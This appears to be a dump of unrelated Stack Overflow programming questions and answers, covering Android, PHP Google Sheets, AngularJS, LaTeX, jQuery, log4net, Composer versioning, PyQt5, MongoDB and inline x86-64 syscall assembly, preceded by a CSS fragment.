background-image:-o-linear-gradient(top,#F90,#F60); background-image:linear-gradient(to bottom,#F90,#F60); } .v4master .s4-breadcrumbNode a, .v4master .s4-breadcrumbCurrentNode a, .v4master .s4-breadcrumbRootNode a, .v4master .s4-breadcrumbNode a:hover, .v4master .s4-breadcrumbCurrentNode a:hover, .v4master .s4-breadcrumbRootNode a:hover { color:white !important; } ul.s4-breadcrumb, ul.s4-breadcrumb ul { line-height:normal; } ul.s4-breadcrumb a { line-height:40px; } ul.s4-breadcrumb, ul.s4-breadcrumb ul { margin-bottom:0; } ul.s4-breadcrumb .s4-breadcrumb-arrowcont { margin-bottom:14px; } ul.s4-breadcrumb, ul.s4-breadcrumb ul { margin-left:0; } ul.s4-breadcrumb, ul.s4-breadcrumb ul { margin-right:0; } ul.s4-breadcrumb, ul.s4-breadcrumb ul { margin-top:0; } ul.s4-breadcrumb .s4-breadcrumb-arrowcont { margin-top:10px; } .s4-breadcrumb a { padding-left:5px; } .headtitle &gt; ul.s4-breadcrumb { padding-left:10px; } .headtitle &gt; ul.s4-breadcrumb { padding-left:0\9; } .s4-breadcrumb { padding-left:15px; } .s4-breadcrumb a { padding-right:5px; } .s4-breadcrumb { padding-right:15px; } .s4-breadcrumb a:hover { text-decoration:none; } </code></pre>
14016373	0	 <p>Although @Sam's suggestions will work fine in most scenarios, I actually prefer using the supplied <code>AdapterView</code> in <code>onItemClick(...)</code> for this:</p> <pre><code>public void onItemClick(AdapterView&lt;?&gt; parent, View view, int position, long id) { Person person = (Person) parent.getItemAtPosition(position); // ... } </code></pre> <p>I consider this to be a slightly more fool-proof approach, as the <code>AdapterView</code> will take into account any header views that may potentially be added using <a href="http://developer.android.com/reference/android/widget/ListView.html#addHeaderView%28android.view.View,%20java.lang.Object,%20boolean%29"><code>ListView.addHeaderView(...)</code></a>. </p> <p>For example, if your <code>ListView</code> contains one header, tapping on the first item supplied by the adapter will result in the <code>position</code> variable having a value of <code>1</code> (rather than <code>0</code>, which is the default case for no headers), since the header occupies position <code>0</code>. Hence, it's very easy to mistakenly retrieve the wrong data for a position and introduce an <code>ArrayIndexOutOfBoundsException</code> for the last list item. By retrieving the item from the <code>AdapterView</code>, the position is automatically correctly offset. You can of course manually correct it too, but why not use the tools provided? :)</p> <p>Just FYI and FWIW.</p>
38025841	0	Trying to append a row to a Google Spreadsheet in PHP <p>I'm using Google's Client API via Composer (<a href="https://packagist.org/packages/google/apiclient" rel="nofollow">https://packagist.org/packages/google/apiclient</a>) and I have successfully authenticated and received an access token.</p> <p>I am trying to add a row to a Google sheet in my drive, but I can't find any relevant documentation that specifically addresses PHP.</p> <p>Here's what I've got so far:</p> <pre><code>$service = new Google_Service_Sheets($a4e-&gt;google); // my authenticated Google client object $spreadsheetId = "11I1xNv8cHzBGE7uuZtB9fQzbgrz4z7lIaEADfta60nc"; $range = "Sheet1!A1:E"; $valueRange= new Google_Service_Sheets_ValueRange(); $service-&gt;spreadsheets_values-&gt;update($spreadsheetId,$range,$valueRange); </code></pre> <p>This returns the following error:</p> <pre><code>Fatal error: Uncaught exception 'Google_Service_Exception' with message '{ "error": { "code": 400, "message": "Invalid valueInputOption: INPUT_VALUE_OPTION_UNSPECIFIED", "errors": [ { "message": "Invalid valueInputOption: INPUT_VALUE_OPTION_UNSPECIFIED", "domain": "global", "reason": "badRequest" } ], "status": "INVALID_ARGUMENT" } } ' in /usr/share/nginx/vendor/google/apiclient/src/Google/Http/REST.php </code></pre> <p>I'm stuck as to the format of the "<code>Google_Service_Sheets_ValueRange()</code>" object, and also how to append a row to the end of the sheet, rather than having to specify a particular range.</p> <p>I would greatly appreciate any help with this issue.</p>
4246948	0	 <p>Who controls the data model for the output of the sensors? If it's not you, do they know what they are doing? If they create new and inconsistent models every time they invent a new sensor, you are pretty much up the creek.</p> <p>If you can influence or control the evolution of the schemas for CSV files, try to come up with a top level data architecture. In the bad old days before there were databases, files made up of records often had, as the first field of each record, a "record type". CSV files could be organized the same way. The first field of every record could indicate what type of record you are dealing with. When you get an unknown type, put it in the "bad input file" until you can maintain your software. </p> <p>If that isn't dynamic enough for you, you may have to consider artificial intelligence, or looking for a different job.</p>
34593324	0	 <p>At first sight, you could do something like that by inserting a <code>&lt;tbody&gt;</code> (more information here: <a href="http://stackoverflow.com/questions/12979205/angular-js-ng-repeat-across-multiple-trs">Angular.js ng-repeat across multiple tr&#39;s</a>)</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var myAppModule = angular.module('myApp', []).controller('MyController', MyController); function MyController() { // http://stackoverflow.com/questions/1345939/how-do-i-count-a-javascript-objects-attributes this.objectCount = function(obj) { return Object.keys(obj).length; } this.data = { "10": {}, "12": { "20": { "value": 1, "id": 1, }, "100": { "value": 12, "id": 1, }, "200": { "value": 120, "id": 10, } }, "14": { "100": { "value": 14, "id": 2, } }, "16": {}, "18": {}, "20": { "100": { "value": 23, "id": 1, }, "150": { "value": 56, "id": 3, } }, "22": {}, "24": {} }; }</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>table, th, td { border: 1px solid black; } table { border-collapse: collapse; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.8/angular.min.js"&gt;&lt;/script&gt; &lt;div ng-app="myApp" ng-controller="MyController as ctrl"&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;type&lt;/th&gt; &lt;th&gt;module&lt;/th&gt; &lt;th&gt;value&lt;/th&gt; &lt;th&gt;id&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody ng-repeat="(row1, value1) in ctrl.data" ng-switch="ctrl.objectCount(value1) === 0"&gt; &lt;tr ng-switch-when="true"&gt; &lt;td&gt;{{row1}}&lt;/td&gt; &lt;td colspan="3"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr ng-switch-when="false" ng-repeat="(row2, value2) in value1"&gt; &lt;td ng-if="$index === 0" rowspan="{{ctrl.objectCount(value1)}}"&gt; {{row1}} &lt;/td&gt; &lt;td&gt;{{row2}}&lt;/td&gt; &lt;td&gt;{{value2.value}}&lt;/td&gt; &lt;td&gt;{{value2.id}}&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p>If you need something more refined with merging of rows and columns, you should think to build a more oriented view objects, so that the template is simpler, and your business logic is in JavaScript.</p>
4860511	0	 <p>exec() could have been disabled by the server admin. In this scenario a call to exec would print an E_NOTICE and a E_WARNING. So if you disabled warning printing you can only see the E_NOTICE and potentially miss the more interesting warning saying "exec has been disabled for security reason".</p> <p>You can add this line to your code</p> <pre><code>error_reporting(E_ALL); </code></pre> <p>so that you can have a more verbose execution.</p>
37362575	0	 <p>The answer to this is quite simple.</p> <pre><code>Scanner scanner = new Scanner(System.in); public static void main(String[] args) { int line1 = 0; while (true) { String input = scanner.nextLine(); if (input.length &gt; 0) { try { line1 = Integer.parseInt(input); break; } catch (NumberFormatException e) { System.out.println("Input not an integer, try again."); } } else { // User entered nothing. Break loop to stop it from never ending. break; } } String line2 = Scanner.nextLine(); } </code></pre> <p>This will store an integer from the scanner, and forcefully make sure it is an integer, and then store a string afterwards. If you do not correctly enter an integer, it will request another.</p> <p>If you need to later split the string for every whitespace, use:</p> <pre><code>String[] array = line2.split(" "); </code></pre> <p>You cannot split an Integer.</p> <p>If both inputs need to be combined into a single string, then you can then use:</p> <pre><code>String completeString = line1 + " " + line2; </code></pre> <p>And again, you can split this by using:</p> <pre><code>String[] array = completeString.split(" "); </code></pre> <p>So if the user entered 55, and "Hello", you would end up with the following after splitting:</p> <pre><code>["55", "Hello"] </code></pre>
27112569	0	X-Editable and Bootstrap datatables <p>I've tried with no success to implement x-editable in bootstrap datatables, the reason being when i update an element from x editable, the datatable fails to recognize those changes.. i've tried updating the table, destroying it, hidden tags, but the main problem seems to be that the datatables fails to recognize any change after the initialization.. I add the rows via button click, when they get to the table, i run .editable on those elements. they become editable but the sorting and search of the datatables doesnt work..</p> <p>Can anyone help me?</p>
5845887	0	How do I use \renewcommand to get BACK my greek letters? <p>I'm a LaTeX newbie, but I've been doing my homework, and now I have a question that I can't seem to find the answer to. I create the definition of an equation, let's just say it's this one:</p> <pre><code>The potential is characterized by a length $\sigma$ and an energy $\epsilon$. </code></pre> <p>In reality, this equation is more complex, which is why I wanted to try a shortcut. If my equation were this simplistic, I wouldn't try my substitution technique. I use the \renewcommand to save me some time:<BR></p> <pre><code>\renewcommand{\sigma}{1} </code></pre> <p>And this works fabulously and will replace all instances of sigma with 1. Unfortunately though, since \sigma has a global scope, I need to reset it. I tried a couple different ways:<BR> Attempt 1: -deadlock due to circular reference?</p> <pre><code>\newcommand{\holdsigma}{\sigma} \renewcommand{\sigma}{1} The potential is characterized by a length $\sigma$ and an energy $\epsilon$. \renewcommand{\sigma}{\holdsigma} </code></pre> <p>I would think to reset the command, it should look something like this:</p> <pre><code>\renewcommand{\sigma}{\greek{\sigma}} </code></pre> <p>but that obviously hasn't worked out for me.<BR><BR> Any idea about how the greek letters are originally defined in the language?</p>
28720323	0	Multiple images appear on hover <p>I have been searching the net for a solution to my problem. I am trying to load five images beside each other when the user hovers over an element on my webpage. So far I can make an image appear on hover however what I really need is to make 5 images appear on hover in a queued fashion?</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$(document).ready(function() { $(".Invisible").hide() $(".image1").hover( function () { $('.Invisible').stop().fadeTo("slow", 1.0); }, function () { $('.Invisible').stop().fadeOut("slow"); } ); });</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;div id="workbox1" class="container"&gt; &lt;div class="image1"&gt;&lt;img alt="" src="http://placehold.it/300x300" style="width:100%" height="120%"/&gt;&lt;/div&gt; &lt;div class="Invisible"&gt;&lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
22977316	0	 <p>The configuration looks fine.</p> <p>However, the line:</p> <pre><code>string content = File.ReadAllText(logFileFullPath); </code></pre> <p>is throwing an exception so you are only writing one log entry per test. When the log file is opened it is locked so you won't be able to read it using File.ReadAllText.</p> <p>You can read through the lock using something like:</p> <pre><code>string fileContents = null; using (var fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) using (var sr = new StreamReader(fs)) { fileContents = sr.ReadToEnd(); } </code></pre>
52477	0	 <p>All of .net is available in the .net SDK, so in theory you will not need Visual Studio at all.</p> <p>Now, there are some things that Express will not do. For example, the Database Designer is not very comprehensive and adding different remote databases is not or only very hardly possible. Still, in code you can connect to everything.</p> <p>There is also no Remote Debugger, no support for creating Setup Files (well, that does not apply to ASP.net anyway), no real Publish Web Site Feature (although that can be <a href="http://blogs.msdn.com/b/jamesche/archive/2007/09/27/automating-aspnet-compiler-in-visual-web-developer.aspx" rel="nofollow noreferrer">added manually</a> as it's just a Frontend for a SDK tool), no integrated Unit testing (and Microsoft <a href="http://weblogs.asp.net/nunitaddin/archive/2007/05/30/microsoft-vs-testdriven-net-express.aspx" rel="nofollow noreferrer">loves to threaten people</a> who add it), etc.</p> <p>For a full comparison, see here:</p> <p><a href="http://msdn.microsoft.com/en-us/vstudio/products/cc149003.aspx" rel="nofollow noreferrer">Visual Studio 2008 Editions</a></p> <p>But as said: Functionality of .net is all in the SDK, Visual Studio is just making it a bit easier to work with.</p>
19635753	0	RestKit mapping for specific entity <p>I have used common RKObjectManager used for different entity mapping as the following below cod but when i try to make mapping for specific entity couldn't because i have two entity with same keyPath this the problem how i can figured.</p> <pre><code> // Search mapping ... RKEntityMapping *searchEntityMapping = [RKEntityMapping mappingForEntityForName:NSStringFromClass([ABB class]) inManagedObjectStore: aBBManager.managedObjectStore]; [searchInfoEntityMapping addAttributeMappingsFromDictionary:@{ @"count" : @"count", @"total_count" : @"totalCount", }]; // Search Advanced mapping ... RKEntityMapping *searchAdvEntityMapping = [RKEntityMapping mappingForEntityForName:NSStringFromClass([ABB class]) inManagedObjectStore: aBBManager.managedObjectStore]; [searchAdvEntityMapping addAttributeMappingsFromDictionary:@{ @"count" : @"count", @"data" : @"dataCount", }]; // Search Descriptor RKResponseDescriptor *aBBResponseDescriptor = [RKResponseDescriptor responseDescriptorWithMapping:searchEntityMapping pathPattern:nil keyPath:@"locations" statusCodes:RKStatusCodeIndexSetForClass(RKStatusCodeClassSuccessful)]; // Search Adv Descriptor RKResponseDescriptor *aBB2ResponseDescriptor = [RKResponseDescriptor responseDescriptorWithMapping:searchAdvEntityMapping pathPattern:nil keyPath:@"locations" statusCodes:RKStatusCodeIndexSetForClass(RKStatusCodeClassSuccessful)]; </code></pre>
8312801	0	Use an ASP.NET or ActiveX component in Java Spring with Tomcat <p>I would like to ask if I can use the ASP.NET or ActiveX version of <a href="http://www.textcontrol.com/en_US/" rel="nofollow" title="Text Control">Text Control</a> in a .jsp web page supported by Java Spring and a Tomcat webserver. I'm aware of the sw EZ JCom, but I can't afford it. Is there something cheaper? Thank you</p>
6553763	0	 <p>The problem is that @flits is nil, presumably because your all_flits method is returning nil.</p> <p>However, I'd recommend not putting that logic in the view, breaking up a tag like that. You have several options to make it cleaner:</p> <hr> <p>Option 1: Use the CSS pseudo-class <code>first-child</code> like so:</p> <pre><code> li:first-child { ... } </code></pre> <p>This has the advantage of not requiring any back-end logic or special markup. The only downside is that it has spotty older browser support, e.g. IE6.</p> <hr> <p>Option 2: Use the Rails tag helpers.</p> <pre><code>&lt;%= content_tag :li, :class =&gt; @flits.first==flit?"first":"" %&gt; </code></pre> <hr> <p>Option 3: Tuck it away in a helper method</p> <pre><code>&lt;%= li_for_flit %&gt; </code></pre> <p>Then in the helper:</p> <pre><code>def li_for_flit #spit out your tag here end </code></pre>
1344361	0	 <p>A lot of new programmers are still working at a very low level of abstraction, learning the trade. That's something everyone has to go through. It takes a while to "move up the stack" so to speak.</p> <p>Once programmers realise that they spend most of the time solving the same problems as someone else already did, and the goal is to realise "business value", then they can really appreciate the value a good library brings.</p>
28345452	0	 <p>Use <a href="https://nssm.cc/" rel="nofollow">Non-Sucking Service Manager</a> to install logstash as a windows service. Services can be started at boot and run without an active user login.</p>
7387540	0	 <pre><code>RewriteCond %{HTTP_HOST} !^admin\.example.com$ [OR] RewriteCond %{HTTP_HOST} !^login\.example.com$ [OR] RewriteCond %{HTTP_HOST} !^logout\.example.com$ RewriteCond %{HTTP_HOST} -(.{5})\.example.com RewriteRule (.*) http://example.com/something/maybesomethingelse/-%1 </code></pre> <p>I did not test it but I think it works!let me know if not!</p>
33870111	0	Select2 not selecting first item as default <p>I am populating a drop down list in an ASP.Net page using this code </p> <pre><code>var xhttp xhttp = new XMLHttpRequest(); xhttp.open("GET", "../XMLHttp/XMLHttp_GetRDRegions.aspx?RDDivision=" + encodeURIComponent(document.getElementById('ddlRDDivisions').value), false); xhttp.send(); document.getElementById('ddlRDRegions').options.length = 0; document.getElementById('ddlRDCentres').options.length = 0; document.getElementById('ddlRMNames').options.length = 0; var ddlRDRegions = document.getElementById('ddlRDRegions'); var element = document.createElement('option'); element.text = '--- Please Select an item ---' element.value = '0' ddlRDRegions.options.add(element); </code></pre> <p>When not using Select the new element I am adding is the first selected item in the list, however when applying the Select2 in the javascript too like this. </p> <pre><code>$('select').select2(); </code></pre> <p>the element is at the top of the list but is not the selected element. </p> <p>I have tried creating an attribute like this </p> <pre><code>var att = document.createAttribute("selected"); att.value = "selected"; element.setAttribute(att) </code></pre> <p>which throws an error and this </p> <pre><code>$(element).attr("selected", "selected") </code></pre> <p>which does nothing. </p> <p>Any and all help on where I am going wrong would be very much appreciated. </p>
18937561	0	 <p>Add <code>padding-left: 0</code> to your <code>ul</code> style declaration.</p> <pre><code>#pricing_plan1 ul, #pricing_plan2 ul, #pricing_plan3 ul { list-style: none; font-family: "Helvetica Neue"; border: 1px solid #d9dee1; padding-left: 0px; } </code></pre> <p><code>&lt;ul&gt;</code> has default left padding, and that's the reason of your code output.</p> <p>Check <a href="http://jsfiddle.net/R456T/" rel="nofollow"><strong>jsFiddle demo</strong></a>. Both lists have <code>list-style</code> set to <code>none</code>, but only the second one has additional <code>left-padding: 0</code>. As you can see, the first one has exactly the same problem you're trying to solve.</p>
505196	0	 <p>The recommended solution to change the options appears to be corerct however it still generates ALTER TABLE SET (LOCK_ESCALATION = TABLE) on my database (I even put in compatibility mode 90)</p>
21680567	0	javascript reset on close <p>I am not an expert on javascript, and I am currently trying to breakdown a previous programmer's code.</p> <p>He has a window called ADD ACCOUNT that opens up, and you can either make your selections via dropdown selects or by dragging and dropping another account directly onto the window.</p> <p>What I want to do is when the user changes their mind, and they close the window, it should automatically reset all the filters. The user is not actually hitting the reset button. They are just closing the window.</p> <p>Right now, if they close it and open it back up, the previous selection they made are still there. </p> <p>I've been looking through the code, and I found this:</p> <pre><code> var AddAccountWindow = new Ext.Window({ title: 'Add Account', closable:true, closeAction:'hide', y:5, width: 735, height:editPnlHeight-25, plain:true, layout: 'fit', stateful:false, items: AddAcountForm }); </code></pre> <p>Is there anyway I can add a reset feature that will automatically fire when they close the window with the code I provided above?</p> <p>Or do I have to create another function that will fire on close?</p>
5386220	0	 <p>After a long tracing into the code and data, I found the obstacle which somehow bugging me out. There was a change in a master data which now has longger character (varchar). In my procedure it was put into a smaller size of varchar, let say 10 character. While new string its about 15. Here goes the error <strong>...or string truncation....</strong>. But anyway thanks of your attention to my problem and thanks for the clues you wrote, it save me somehow, give me the idea to trace it up.</p> <p>Thx a bunch,</p>
34423309	0	 <blockquote> <p>1) Which operator should I better use in customer projects? ^ or ~ ?</p> </blockquote> <p>Prefer caret <code>^</code> over tilde <code>~</code> operator.</p> <blockquote> <p>2+3) What does it mean, when I specify: <code>"behat/behat": "~1.3"</code> </p> </blockquote> <p><code>~1.3</code> is equivalent to <code>&gt;=1.3 &lt;2.0.0</code>.</p> <p>In brief: </p> <p><strong><code>~</code> sets a minimum version and allows last version digits to go up, while keeping BC safety</strong>.</p> <p>In detail:</p> <ul> <li>it will fetch a version starting with the lowest version of the <code>1.3</code> series as lower boundary, probably <code>1.3.0</code></li> <li>it will proceed with <code>1.3.*</code>, <code>1.4.*</code> and so on (all versions)</li> <li>but it will remain below the upper version boundary of version <code>2.0.0</code></li> </ul> <p>The switch of an major version (here from <code>1.*.*</code> to <code>2.*.*</code>) indicates a possibly break in backward compatibility (see semantic versioning standard). The package manager will avoid to fetch breaking changes to keep your set of software dependencies working.</p> <blockquote> <p>Are there any other special cases, where I need to be careful when specifying the version number?</p> </blockquote> <p>There are special cases, for instance fetching "dev-master" and development dependencies with stability dev and other "special cases. </p> <p>But the question is too broad to provide a good answer. Ask again, when you run into trouble with "special cases".</p>
27223288	0	 <p>I did following code :</p> <pre><code>&lt;script src="${resource(dir: 'js', file: 'jquery.zclip.js')}"&gt;&lt;/script&gt; &lt;script src="${resource(dir: 'js', file: 'jquery.zclip.min.js')}"&gt;&lt;/script&gt; &lt;script&gt; function copyToClipboard(){ $("#copyLink").zclip({ path: "/js/ZeroClipboard.swf", copy: $("#genCampUrl").val(), afterCopy:function(){ alert('copied'); } }); } &lt;/script&gt; &lt;a id="copyLink" onclick="copyToClipboard();"&gt;Copy this url&lt;/a&gt; </code></pre> <p>On localhost it doesn't work. As the movie needs to be uploaded somewhere. But on server, it works. </p>
13713341	0	 <p>You do not see the message from circle because circle is part of the group and thus, only one of the event "dragstart" can be recognized either on the group or the circle, when you try to move circle the event is recognized for the group as circle is part of the group. You can probably add a check inside the function associated with "dragstart" for group to check if the object selected is "circle" and show your message.</p>
27458513	0	 <p>The HTML5 spec, <a href="http://www.w3.org/TR/html5/syntax.html#attribute-name-state" rel="nofollow"><strong>Section 8.2.4.35 - 'Attribute name state'</strong></a> says:</p> <blockquote> <p>When the user agent leaves the attribute name state (and before emitting the tag token, if appropriate), the complete attribute's name must be compared to the other attributes on the same token; if there is already an attribute on the token with the exact same name, then this is a parse error and the new attribute must be removed from the token.</p> </blockquote> <p>So, to answer your question, it's invalid HTML.</p>
2478661	0	 <p>Your question is answered in section 7.9.6 of the C# specification:</p> <blockquote> <p>If an operand of a type parameter type T is compared to null, and the runtime type of T is a value type, the result of the comparison is false.</p> </blockquote>
34295014	0	Show/hide subpanels dynamically in Ext JS <p>I have created a view (a panel) with 3 subpanels ... When the view loads , I want a function to run in viewController and based on its outcome , I want subpanel 1 to be visible(subpanel2 to be invisible) or subpanel2 to be visible(subpanel1 to be invisible)</p> <p>How can I accomplish this ?</p>
29146275	0	 <p>You'll need the client-side library to connect to the server. You can fetch it at your domain.com/socket.io/socket.io.js and cache it locally. From there you can access global io and then connect with: </p> <pre><code>var socket = io.connect(); </code></pre> <p>It may be even better to copy the library into your application and have a background service that fetches the newest version every x days/weeks.</p>
3136263	0	 <blockquote> <p>I was wondering whether it is possible to use Maven2 to automatically configure a Glassfish 2.1 with JNDI Resources, Datasources and Mail-Sessions for my integration tests.</p> </blockquote> <p>I'm not sure Cargo does provide anything to configure Mail-Sessions. And anyway, from what I can see in <a href="http://cargo.codehaus.org/DataSource+and+Resource+Support" rel="nofollow noreferrer">DataSource+and+Resource+Support</a>, there is no support at all for GlassFish. I'd simply configure the installed container against which you run your integration tests.</p> <blockquote> <p>Also I wonder whether it is possible to create some sort of benchmarks that might then be tracked using continuum or Hudson.</p> </blockquote> <p>You could run <a href="http://jakarta.apache.org/jmeter/" rel="nofollow noreferrer">JMeter</a> performance tests. Hudson has a <a href="http://wiki.hudson-ci.org/display/HUDSON/Performance+Plugin" rel="nofollow noreferrer">Performance Plugin</a> allowing to generate a trend graphic report from the results. Also maybe have a look at <a href="http://jchav.blogspot.com/" rel="nofollow noreferrer">JChav</a> (seems dormant though).</p>
34033844	0	 <p>As a general rule, pass-by-value for basic types (int, char, etc.), and pass-by-pointer (or better, pass-by-reference) for big data as <code>struct</code>. </p> <p>Thinking of a <code>struct</code> with 1000 data members, and the cost to copy that gigantic data to a function. It'd be much quicker to pass-by-pointer or pass-by-reference in that case.</p>
40394385	1	PyQt5: open main window and close dialog <p>I have a login dialog and a main window. When I login, "success" must close the login dialog and open the main window. Now when I login, the main window is open, but login dialog does not close. But if I try to close it, but both the dialog and the window close. I want keep the window open, and close the login dialog.</p> <p><em>loginDialogStartup.py</em>:</p> <pre><code>class LoginDialogStartup(Ui_Dialog): def __init__(self, dialog): Ui_Dialog.__init__(self) self.setupUi(dialog) self.loginbtn.clicked.connect(self.doLogin) self.cancelbtn.clicked.connect(self.closeEvent) def closeEvent(self, event): print("Closing") self.destory() def doLogin(self): username = self.usernameinput.text() password = self.passwordinput.text() if validLogin(username, password): self.window = QtWidgets.QMainWindow() MainWindowStartup(self.window) self.window.show() self.loginbtn.clicked.connect(self, Qt.SIGNAL('triggered()'), self.closeEvent) else: self.statuplabel.setText("NO") if __name__ == '__main__': app = QtWidgets.QApplication(sys.argv) dialog = QtWidgets.QDialog() prog = LoginDialogStartup(dialog) dialog.show() sys.exit(app.exec_()) </code></pre> <p><em>MainWindowStartup.py</em>:</p> <pre><code>class MainWindowStartup(Ui_MainWindow): def __init__(self, window): Ui_MainWindow.__init__(self) self.setupUi(window) if __name__ == '__main__': app = QtWidgets.QApplication(sys.argv) window = QtWidgets.QMainWindow() prog = MainWindowStartup(window) window.show() app.exec_() </code></pre>
27229265	1	How to set a transparent background color and do antialising for kivy images? <p>I whant to use an image with transparent background. The common kivy "Image" class offers the loading of a file into an image. But I found no way to set a transparent background color and set antialising.</p>
23008642	0	How to use jQuery with phantomjs <p>I'm trying to do a simple test of jQuery with phantomjs:</p> <pre><code>var url = 'http://www.google.com/'; var page = require('webpage').create(); page.open(url, function () { page.injectJs('jquery.min.js'); page.evaluate(function () { console.log($('title').text()); }); phantom.exit() }); </code></pre> <p>This should print out the title, but instead nothing happens. Can somebody tell me what's wrong?</p>
19369315	0	 
5861584	0	 <p>It is possible with TPC inheritance but it will include a lot of complication to your design. For example: </p> <ul> <li>you will have to move shared properties to the base class</li> <li>you will probably have to maintain some mappings manually in EDMX (at least I had when I did the sample on screenshot)</li> <li>you will have only single <code>ObjectSet&lt;Tasks&gt;</code> and you will have to use <code>OfType</code> to query only Projects or Services</li> <li>you will have to use unique Id per <code>Task</code> = across both Project and Service tables (can be achieved by correctly configured identities in database)</li> </ul> <p>It will look like:</p> <p><img src="https://i.stack.imgur.com/kNZrC.png" alt="enter image description here"></p> <p>Another option is using interface on your entity objects instead of parent class. You can define interface in your partial part of entity object and handle retrieving both Projects and Services by yourselves where your UI will expect only list of types implementing your interface.</p>
35923144	0	Test CharSequences for equality in JUnit <p>The following test runs successfully:</p> <pre><code>assertEquals(a.toString(), b.toString()); </code></pre> <p>The following does not:</p> <pre><code>assertEquals(a, b); </code></pre> <p><code>a</code> is a <code>StringBuilder</code>, while <code>b</code> is a <code>CharSequence</code> of a different type.</p> <p>Is there some way to test <code>CharSequence</code>s for equality without converting them to <code>String</code>s first?</p>
24722323	0	Using gif image and saving <p>I tried to add gif image into a canvas and after adding, gif was static but when I change some other object property, i.e. <code>Kinetic.Text();</code>s <code>setY()</code> property, gif image moved to another step of an animation.</p> <p>Is any way, how to to add <strong>gif image</strong> into a <em>layer</em> and then use </p> <pre><code>stage.toDataURL({ callback: function(dataUrl) { //callback }) }); </code></pre> <p>to save as a gif image? Or does exist any different mechanism how to achieve this effect?</p>
4429759	0	 <p>Try changing the order of the handlers (remove then add). In this example I have removed all but the AJAX/script handler.</p> <pre><code>&lt;system.webServer&gt; &lt;modules runAllManagedModulesForAllRequests="true" /&gt; &lt;handlers&gt; &lt;remove name="WebServiceHandlerFactory-Integrated"/&gt; &lt;remove name="WebServiceHandlerFactory-ISAPI-2.0"/&gt; &lt;remove name="WebServiceHandlerFactory-ISAPI-2.0-64"/&gt; &lt;remove name="WebServiceHandlerFactory-ISAPI-4.0_32bit"/&gt; &lt;remove name="WebServiceHandlerFactory-ISAPI-4.0_64bit"/&gt; &lt;!--&lt;add name="WebServiceHandlerFactory-Integrated-4.0" ...&lt;/handlers&gt; </code></pre>
29332446	0	MongoDB PHP Limit the returning values of a field <pre><code>{ name : "name 1", field : [ { random:"value 1", random2:"second value" } { random:"value 2", random2:"second value 2" } { random:"value 3", random2:"second value 3" } { random:"value 4", random2:"second value 4" } ] } { name : "name 2", field : [ { random:"value 5", random2:"second value" } { random:"value 6", random2:"second value 6" } { random:"value 7", random2:"second value 7" } { random:"value 8", random2:"second value 8" } { random:"value 9", random2:"second value 9" } ] } </code></pre> <p>i have a collection like this. what i want to do is, when i query this collection, i want only first 2 arrays of the field to return.</p> <p>expected return:</p> <pre><code>{ name : "name 1", field : [ { random:"value 1", random2:"second value" } { random:"value 2", random2:"second value 2" } ] } { name : "name 2", field : [ { random:"value 5", random2:"second value" } { random:"value 6", random2:"second value 6" } ] } </code></pre> <p>i've checked <a href="http://docs.mongodb.org/manual/reference/operator/query-modifier/" rel="nofollow">Query Modifiers</a> but they are sorting/limiting the documents, not fields in the documents.</p> <p>So how can i accomplish this?</p>
30182767	0	 <p>When using <code>get_template_part</code>, the first parameter defines the base template name (e.g. <code>content</code>, which loads <code>content.php</code>) and the second parameter loads a suffixed version if available. Therefore your call</p> <pre><code>get_template_part('content', 'single-ourNews'); </code></pre> <p>is looking for a file named <code>content-single-ourNews.php</code> first, then falls back to <code>content.php</code> in case the first one is not available. I'm not sure whether the <code>get_template_part</code> function converts the suffix parameter to something like <code>single-ournews</code> or <code>single-our-news</code> before appending it to the first parameter, be sure to test a few variants of that.</p> <p>I'm not 100% sure if the function behaves differently or not in child themes and parent themes. One option is to override the parent's <code>single.php</code> in the child theme and modify it directly with </p> <pre><code>if ($post-&gt;post-type === 'ourNews') { get_template_part('content', 'single-ourNews'); } else { get_template_part('content'); } </code></pre> <p>Lastly, WordPress will look for a file <code>single-[cptslug].php</code> before loading a template for a custom post type's single view.</p>
11778961	0	 <p><a href="http://docs.python.org/library/functions.html#zip" rel="nofollow"><code>zip</code></a> will stop as soon as <em>any</em> of its iterables stop (because otherwise it wouldn't know what to fill in the blanks with!):</p> <blockquote> <p>The returned list is truncated in length to the length of the shortest argument sequence. </p> </blockquote> <p>If you want to pad the shorter iterables to the length of the longest, use <a href="http://docs.python.org/library/itertools.html#itertools.izip_longest" rel="nofollow"><code>izip_longest</code></a> (which takes an optional parameter to use as the fill value).</p>
23020467	0	 <p>For amd64, you need to use "syscall" - and use different registers - instead of "int 0x80":</p> <p><a href="http://cs.lmu.edu/~ray/notes/linuxsyscalls/">http://cs.lmu.edu/~ray/notes/linuxsyscalls/</a></p> <p><a href="http://blog.rchapman.org/post/36801038863/linux-system-call-table-for-x86-64">http://blog.rchapman.org/post/36801038863/linux-system-call-table-for-x86-64</a></p> <p><a href="http://crypto.stanford.edu/~blynn/rop/">http://crypto.stanford.edu/~blynn/rop/</a></p> <p>Here's a good example:</p> <p><a href="http://stackoverflow.com/questions/9506353/how-to-invoke-a-system-call-via-sysenter-in-inline-assembly-x86-amd64-linux">How to invoke a system call via sysenter in inline assembly (x86/amd64 linux)?</a></p> <pre><code>#include &lt;unistd.h&gt; int main(void) { const char hello[] = "Hello World!\n"; const size_t hello_size = sizeof(hello); ssize_t ret; asm volatile ( "movl $1, %%eax\n\t" "movl $1, %%edi\n\t" "movq %1, %%rsi\n\t" "movl %2, %%edx\n\t" "syscall" : "=a"(ret) : "g"(hello), "g"(hello_size) : "%rdi", "%rsi", "%rdx", "%rcx", "%r11" ); return 0; </code></pre>
